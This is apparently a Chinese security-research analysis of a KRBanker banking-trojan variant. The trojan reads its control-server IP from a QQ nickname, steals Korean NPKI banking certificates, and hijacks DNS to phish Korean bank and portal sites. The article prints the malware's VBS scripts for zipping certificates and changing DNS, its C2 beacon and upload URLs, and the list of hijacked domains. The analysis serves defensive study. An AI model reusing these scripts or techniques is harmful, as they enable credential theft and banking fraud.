利用QQ昵稱反彈連接木馬技術(shù)分析
安全研究人員最近發(fā)現(xiàn)KRBanker家族新變種,其利用騰訊QQ空間的接口獲取反彈連接IP,劫持本機(jī)DNS,攔截韓國銀行網(wǎng)站釣魚。本文將對其進(jìn)行詳細(xì)的分析。
0×01 概況
今天要介紹的是一款利用QQ空間反彈連接的惡意軟件,這款軟件主要通過溢出套件掛馬傳播,當(dāng)通過掛馬頁面下載到受害機(jī)器上,利用QQ空間的信息獲取反彈連接的服務(wù)器IP信息,通過下載另外的組件攔截韓國相關(guān)銀行網(wǎng)站.竊取網(wǎng)銀相關(guān)信息回傳服務(wù)器。這個(gè)惡意軟件屬于KRBanker家族的新變種( Korea+Banker=KRBanker)攻擊流程,如下圖所示
首先通過kaixin、 gondad等溢出套件掛馬,當(dāng)訪問掛馬站點(diǎn)時(shí)溢出成功會(huì)下載一個(gè)EXE,它會(huì)安裝自啟動(dòng)在目標(biāo)系統(tǒng)中。查詢QQ號的昵稱信息,獲取命令與控制(command and control)服務(wù)器的IP,收集銀行證書上傳.并篡改本地DNS服務(wù)器IP進(jìn)行域名劫持。
0×02 技術(shù)細(xì)節(jié)
1) 獲取控制服務(wù)器IP
黑客通過修改QQ昵稱信息為木馬的控制端IP, 木馬通過查詢QQ昵稱信息的接口獲取到昵稱信息(nickname),就獲得了控制IP.進(jìn)而反向連接控制服務(wù)器,接收惡意指令。
通過QQ空間的API獲取IP,nikename被設(shè)置為控制端IP
例如:其中 uin=為QQ號碼
請求http://r.qzone.qq.com/cgi-bin/user/cgi_personal_card?uin=1474897680?=6330
返回信息
_Callback(
{"uin":1474897680,
"qzone":0,
"intimacyScore":0,
"nickname":"61.228.32.148",
"realname":"",
"smartname":"",
"friendship":0,
"isFriend":0,
"bitmap":"08009c8002000101",
"avatarUrl":http://qlogo1.store.qq.com/qzone/1474897680/1474897680/100});
如果用QQ查詢可以直觀的看到昵稱被設(shè)置成IP格式:
黑客這么做的目的是利用QQ昵稱保存IP信息,達(dá)到和動(dòng)態(tài)域名相同的效果,一旦IP被封可以立即修改IP.同時(shí)也避免了使用動(dòng)態(tài)域名被攔截的情況,比如國內(nèi)的3322,f3322 等已經(jīng)引起安全警惕。而采用qq空間網(wǎng)站域名,可以繞過針對域名攔截的IDS設(shè)備,順利查詢到控制IP。
獲取C&C的IP后,獲取本地MAC信息提交,如格式http://ip/Count.asp?ver=001&mac=xx-xx-xx-xx-xx-xx
2) 竊取證書上傳
目前的網(wǎng)銀保護(hù)機(jī)制主要包括密碼,數(shù)字證書,手機(jī)短信,由于韓國的網(wǎng)銀主要使用IE瀏覽器,并使用Activex作開發(fā).其數(shù)字證書主要保存在磁盤上,位置包括%ProgramFiles%\NPKI和其他的U盤目錄如下:
%DriveLetter%\NPKI
%ProgramFiles%\NPKI
%SystemDrive%\Documentsand Settings\All Users\Application Data\LocalLow\NP
該KRBanker變種會(huì)從這些NPKI目錄中收集數(shù)字證書文件。遍歷磁盤查詢包含NPKI名稱的文件夾
使用使用VBS腳本竊取主機(jī)內(nèi)的證書,打包成ZIP文件
VBS腳本如下:
Sub Zip(ByVal mySourceDir, ByVal myZipFile)Set fso = CreateObject("Scripting.FileSystemObject")If fso.GetExtensionName(myZipFile) <> "zip"ThenExitSubElseIf fso.FolderExists(mySourceDir) ThenFType = "Folder"ElseIf fso.FileExists(mySourceDir) ThenFType = "File"FileName = fso.GetFileName(mySourceDir) FolderPath = Left(mySourceDir, Len(mySourceDir) - Len(FileName))ElseExitSubEndIfSet f = fso.CreateTextFile(myZipFile, True) f.Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0)) f.CloseSet objShell = CreateObject("Shell.Application")SelectCase FtypeCase"Folder"Set objSource = objShell.NameSpace(mySourceDir) Set objFolderItem = objSource.Items()Case"File"Set objSource = objShell.NameSpace(FolderPath) Set objFolderItem = objSource.ParseName(FileName) EndSelectSet objTarget = objShell.NameSpace(myZipFile) intOptions = 256 objTarget.CopyHere objFolderItem, intOptions DoWScript.Sleep 1000LoopUntil objTarget.Items.Count > 0EndSub
在臨時(shí)目錄生成zip文件
開始回傳收集的zip文件,回傳URL地址為http://61.228.32.*/upload.php
協(xié)議類型: POST,name為upload_file1,分割特征為—–7da3e1bd0314
3)攔截銀行網(wǎng)站和搜索門戶
黑客還會(huì)通過攔截銀行網(wǎng)站進(jìn)行釣魚,從而獲取銀行帳戶密碼等詳細(xì)信息從而獲得權(quán)限來訪問受害者的賬戶.
DNS攔截過程主要分為兩個(gè)步驟:
步驟1.修改DNS服務(wù)器設(shè)置為本機(jī)
修改的VBS腳本代碼如下:
strGatewayMetric= Array(1) arrDNSServers= Array("127.0.0.1","8.8.8.8") strComputer= "."SetobjWMIService = GetObject("winmgmts:" _ &"{impersonationLevel=impersonate}!\\" & strComputer &"\root\cimv2")SetcolNetAdapters = objWMIService.ExecQuery _ ("Select* from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")ForEach objNetAdapter in colNetAdapters errEnable= objNetAdapter.EnableStatic(strIPAddress, strSubnetMask) errGateways= objNetAdapter.SetGateways(strGateway, strGatewaymetric) errDNS= objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)IferrEnable = 0 ThenEndIfNext
設(shè)置主DNS服務(wù)器的地址為127.0.0.1
步驟2.監(jiān)聽本機(jī)53端口過濾攔截域名請求
通過端口查看工具可以看到惡意進(jìn)程監(jiān)聽了本機(jī)0.0.0.0:53端口.

由于Krbanker木馬將首選DNS服務(wù)器設(shè)置為127.0.0.1,這樣所有的DNS請求將會(huì)轉(zhuǎn)發(fā)給本機(jī)的53端口. Krbanker木馬接收到域名請求會(huì)判斷是否需要劫持域名,如果不需要劫持就構(gòu)造一個(gè)域名查詢的數(shù)據(jù)包直接發(fā)送到8.8.8.8獲取真實(shí)IP反饋.如果需要劫持就篡改到釣魚站點(diǎn). 攔截的銀行包括韓國農(nóng)協(xié)銀行(NH Bank)、新韓銀行,友利銀行、韓亞銀行、國民銀行、韓國外換銀行、韓國中小企業(yè)銀行、郵政銀行。同時(shí)攔截韓國的綜合性入口網(wǎng)站.包括Naver、Nate、Daum.攔截的網(wǎng)站域名如下:
www.nonghyup.com
nonghyup.com
banking.nonghyup.com
www.nonghyup.co.kr
nonghyup.co.kr
banking.nonghyup.co.kr
www.shinhan.com
shinhan.com
www.shinhanbank.com
shinhanbank.com
www.shinhanbank.co.kr
shinhanbank.co.kr
banking.shinhanbank.com
banking.shinhan.com
banking.shinhanbank.co.kr
www.hanabank.com
hanabank.com
www.hanabank.co.kr
hanabank.co.kr
www.wooribank.com
wooribank.com
www.wooribank.kr
wooribank.kr
www.wooribank.co.kr
wooribank.co.kr
www.kbstar.com
kbstar.com
www.kbstar.co.kr
kbstar.co.kr
www.keb.co.kr
keb.co.kr
ebank.keb.co.kr
online.keb.co.kr
www.ibk.co.kr
ibk.co.kr
www.ibk.kr
ibk.kr
mybank.ibk.co.kr
banking.ibk.co.kr
www.kfcc.co.kr
kfcc.co.kr
www.kfcc.com
kfcc.com
www.epostbank.co.kr
epostbank.co.kr
www.epost.kr
epost.kr
www.epostbank.kr
epostbank.kr
www.naver.com
naver.com
www.naver.net
naver.net
www.naver.co.kr
naver.co.kr
www.nate.com
nate.com
www.nate.net
nate.net
www.nate.kr
nate.kr
www.nate.co.kr
nate.co.kr
www.daum.net
daum.net
www.daum.co.kr
daum.co.kr
這些域名是加密保存在EXE當(dāng)中,運(yùn)行后解密用于攔截匹配.
0×03 總結(jié)
利用QQ這種方式傳遞信息和國外惡意代碼利用社交網(wǎng)站做信息中轉(zhuǎn)類似,都是為了躲避IDS的檢測,同時(shí)具有良好的穩(wěn)定性.在釣魚攔截方面之前的krbanker家族采用的是hosts文件修改方法,而新的變種采用了本機(jī)53端口監(jiān)聽方式進(jìn)行劫持更加隱蔽。
0×04 參考鏈接
[1]http://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2014-120510-3326-99
[2]http://malware-traffic-analysis.net/2014/12/13/index.html
[3]http://www.malware-traffic-analysis.net/2015/01/31/index.html
[4]https://www.hybrid-analysis.com/sample/e9c6b5ba7083295562dd4ce0d1767e48a30267111bf486d6bb84421fa28542dd/
[5]http://intumyself.tistory.com/m/post/371
[6]http://www.wooyun.org/bugs/wooyun-2010-09633
[7]http://www.secdoctor.com/html/sec/23715.html
[8]http://www.freebuf.com/news/54637.html